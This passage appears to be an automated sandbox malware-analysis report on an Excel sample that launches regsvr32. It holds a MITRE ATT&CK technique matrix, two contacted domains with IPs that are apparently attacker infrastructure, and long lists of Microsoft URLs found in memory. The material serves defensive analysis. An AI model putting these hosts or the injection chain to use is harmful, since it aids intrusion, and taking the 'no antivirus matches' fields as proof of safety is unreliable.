Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
Source: regsvr32.exe, 00000003.00000002.226685677.0000000004820000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: regsvr32.exe, 00000003.00000002.226685677.0000000004820000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: regsvr32.exe, 00000003.00000002.226685677.0000000004820000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: regsvr32.exe, 00000003.00000002.226685677.0000000004820000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid AccountsScripting2DLL Side-Loading1Process Injection1Regsvr321OS Credential DumpingSecurity Software Discovery1Remote ServicesData from Local SystemExfiltration Over Other Network MediumEncrypted Channel2Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default AccountsExploitation for Client Execution23Boot or Logon Initialization ScriptsDLL Side-Loading1Masquerading1LSASS MemoryFile and Directory Discovery1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothNon-Application Layer Protocol1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Disable or Modify Tools1Security Account ManagerSystem Information Discovery2SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationApplication Layer Protocol2Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Process Injection1NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptScripting2LSA SecretsRemote System DiscoverySSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
Replication Through Removable MediaLaunchdRc.commonRc.commonDLL Side-Loading1Cached Domain CredentialsSystem Owner/User DiscoveryVNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

SourceDetectionScannerLabelLink
api.hindikhabar.com0%VirustotalBrowse
spala.tk1%VirustotalBrowse

URLs

SourceDetectionScannerLabelLink
https://cdn.entity.0%URL Reputationsafe
https://cdn.entity.0%URL Reputationsafe
https://cdn.entity.0%URL Reputationsafe
https://cdn.entity.0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://ofcrecsvcapi-int.azurewebsites.net/0%VirustotalBrowse
https://ofcrecsvcapi-int.azurewebsites.net/0%Avira URL Cloudsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://officeci.azurewebsites.net/api/0%VirustotalBrowse
https://officeci.azurewebsites.net/api/0%Avira URL Cloudsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://ncus.contentsync.0%URL Reputationsafe
https://ncus.contentsync.0%URL Reputationsafe
https://ncus.contentsync.0%URL Reputationsafe
https://ncus.contentsync.0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://wus2.contentsync.0%URL Reputationsafe
https://wus2.contentsync.0%URL Reputationsafe
https://wus2.contentsync.0%URL Reputationsafe
https://wus2.contentsync.0%URL Reputationsafe
https://asgsmsproxyapi.azurewebsites.net/0%Avira URL Cloudsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://ncus.pagecontentsync.0%URL Reputationsafe
https://ncus.pagecontentsync.0%URL Reputationsafe
https://ncus.pagecontentsync.0%URL Reputationsafe
https://skyapi.live.net/Activity/0%URL Reputationsafe
https://skyapi.live.net/Activity/0%URL Reputationsafe
https://skyapi.live.net/Activity/0%URL Reputationsafe
https://dataservice.o365filtering.com0%URL Reputationsafe
https://dataservice.o365filtering.com0%URL Reputationsafe
https://dataservice.o365filtering.com0%URL Reputationsafe
https://api.cortana.ai0%URL Reputationsafe
https://api.cortana.ai0%URL Reputationsafe
https://api.cortana.ai0%URL Reputationsafe
https://ovisualuiapp.azurewebsites.net/pbiagave/0%Avira URL Cloudsafe
https://directory.services.0%URL Reputationsafe
https://directory.services.0%URL Reputationsafe
https://directory.services.0%URL Reputationsafe
https://staging.cortana.ai0%URL Reputationsafe
https://staging.cortana.ai0%URL Reputationsafe
https://staging.cortana.ai0%URL Reputationsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
api.hindikhabar.com
108.167.156.223
truefalseunknown
spala.tk
207.174.212.247
truefalseunknown

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
https://api.diagnosticssdf.office.comCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
    high
    https://login.microsoftonline.com/CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
      high
      https://shell.suite.office.com:1443CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
        high
        https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorizeCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
          high
          https://autodiscover-s.outlook.com/CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
            high
            https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=FlickrCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
              high
              https://cdn.entity.CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
              • URL Reputation: safe
              • URL Reputation: safe
              • URL Reputation: safe
              • URL Reputation: safe
              unknown
              https://api.addins.omex.office.net/appinfo/queryCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                high
                https://clients.config.office.net/user/v1.0/tenantassociationkeyCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                  high
                  https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                    high
                    https://powerlift.acompli.netCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    unknown
                    https://rpsticket.partnerservices.getmicrosoftkey.comCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    unknown
                    https://lookup.onenote.com/lookup/geolocation/v1CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                      high
                      https://cortana.aiCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      unknown
                      https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                        high
                        https://cloudfiles.onenote.com/upload.aspxCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                          high
                          https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFileCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                            high
                            https://entitlement.diagnosticssdf.office.comCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                              high
                              https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicyCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                high
                                https://api.aadrm.com/CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                • URL Reputation: safe
                                • URL Reputation: safe
                                • URL Reputation: safe
                                • URL Reputation: safe
                                unknown
                                https://ofcrecsvcapi-int.azurewebsites.net/CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                • 0%, Virustotal, Browse
                                • Avira URL Cloud: safe
                                unknown
                                https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPoliciesCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                  high
                                  https://api.microsoftstream.com/api/CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                    high
                                    https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=ImmersiveCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                      high
                                      https://cr.office.comCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                        high
                                        https://portal.office.com/account/?ref=ClientMeControlCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                          high
                                          https://ecs.office.com/config/v2/OfficeCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                            high
                                            https://graph.ppe.windows.netCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                              high
                                              https://res.getmicrosoftkey.com/api/redemptioneventsCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              unknown
                                              https://powerlift-frontdesk.acompli.netCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              unknown
                                              https://tasks.office.comCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                high
                                                https://officeci.azurewebsites.net/api/CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                • 0%, Virustotal, Browse
                                                • Avira URL Cloud: safe
                                                unknown
                                                https://sr.outlook.office.net/ws/speech/recognize/assistant/workCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                  high
                                                  https://store.office.cn/addinstemplateCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  unknown
                                                  https://outlook.office.com/autosuggest/api/v1/init?cvid=CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                    high
                                                    https://globaldisco.crm.dynamics.comCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                      high
                                                      https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                        high
                                                        https://store.officeppe.com/addinstemplateCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        unknown
                                                        https://dev0-api.acompli.net/autodetectCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        unknown
                                                        https://www.odwebp.svc.msCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        unknown
                                                        https://api.powerbi.com/v1.0/myorg/groupsCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                          high
                                                          https://web.microsoftstream.com/video/CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                            high
                                                            https://graph.windows.netCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                              high
                                                              https://dataservice.o365filtering.com/CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              unknown
                                                              https://officesetup.getmicrosoftkey.comCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              unknown
                                                              https://analysis.windows.net/powerbi/apiCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                high
                                                                https://prod-global-autodetect.acompli.net/autodetectCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                unknown
                                                                https://outlook.office365.com/autodiscover/autodiscover.jsonCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                  high
                                                                  https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-iosCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                    high
                                                                    https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                      high
                                                                      https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.jsonCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                        high
                                                                        https://ncus.contentsync.CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                        • URL Reputation: safe
                                                                        • URL Reputation: safe
                                                                        • URL Reputation: safe
                                                                        • URL Reputation: safe
                                                                        unknown
                                                                        https://onedrive.live.com/about/download/?windows10SyncClientInstalled=falseCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                          high
                                                                          https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                            high
                                                                            http://weather.service.msn.com/data.aspxCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                              high
                                                                              https://apis.live.net/v5.0/CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                              • URL Reputation: safe
                                                                              • URL Reputation: safe
                                                                              • URL Reputation: safe
                                                                              • URL Reputation: safe
                                                                              unknown
                                                                              https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asksCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                high
                                                                                https://word.uservoice.com/forums/304948-word-for-ipad-iphone-iosCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                  high
                                                                                  https://autodiscover-s.outlook.com/autodiscover/autodiscover.xmlCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                    high
                                                                                    https://management.azure.comCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                      high
                                                                                      https://wus2.contentsync.CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                      • URL Reputation: safe
                                                                                      • URL Reputation: safe
                                                                                      • URL Reputation: safe
                                                                                      • URL Reputation: safe
                                                                                      unknown
                                                                                      https://incidents.diagnostics.office.comCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                        high
                                                                                        https://clients.config.office.net/user/v1.0/iosCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                          high
                                                                                          https://insertmedia.bing.office.net/odc/insertmediaCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                            high
                                                                                            https://o365auditrealtimeingestion.manage.office.comCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                              high
                                                                                              https://outlook.office365.com/api/v1.0/me/ActivitiesCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                high
                                                                                                https://api.office.netCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                  high
                                                                                                  https://incidents.diagnosticssdf.office.comCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                    high
                                                                                                    https://asgsmsproxyapi.azurewebsites.net/CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                    • Avira URL Cloud: safe
                                                                                                    unknown
                                                                                                    https://clients.config.office.net/user/v1.0/android/policiesCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                      high
                                                                                                      https://entitlement.diagnostics.office.comCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                        high
                                                                                                        https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.jsonCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                          high
                                                                                                          https://outlook.office.com/CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                            high
                                                                                                            https://storage.live.com/clientlogs/uploadlocationCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                              high
                                                                                                              https://templatelogging.office.com/client/logCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                high
                                                                                                                https://outlook.office365.com/CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                  high
                                                                                                                  https://webshell.suite.office.comCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                    high
                                                                                                                    https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDriveCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                      high
                                                                                                                      https://management.azure.com/CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                        high
                                                                                                                        https://login.windows.net/common/oauth2/authorizeCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                          high
                                                                                                                          https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFileCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                          • URL Reputation: safe
                                                                                                                          • URL Reputation: safe
                                                                                                                          • URL Reputation: safe
                                                                                                                          unknown
                                                                                                                          https://graph.windows.net/CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                            high
                                                                                                                            https://api.powerbi.com/beta/myorg/importsCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                              high
                                                                                                                              https://devnull.onenote.comCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                                high
                                                                                                                                https://ncus.pagecontentsync.CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                                • URL Reputation: safe
                                                                                                                                • URL Reputation: safe
                                                                                                                                • URL Reputation: safe
                                                                                                                                unknown
                                                                                                                                https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.jsonCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                                  high
                                                                                                                                  https://messaging.office.com/CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                                    high
                                                                                                                                    https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFileCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                                      high
                                                                                                                                      https://augloop.office.com/v2CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                                        high
                                                                                                                                        https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=BingCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                                          high
                                                                                                                                          https://skyapi.live.net/Activity/CECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                                          • URL Reputation: safe
                                                                                                                                          • URL Reputation: safe
                                                                                                                                          • URL Reputation: safe
                                                                                                                                          unknown
                                                                                                                                          https://clients.config.office.net/user/v1.0/macCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                                            high
                                                                                                                                            https://dataservice.o365filtering.comCECAF0B6-ED2D-419A-AEB7-B66CAF4DC3A8.1.drfalse
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            unknown
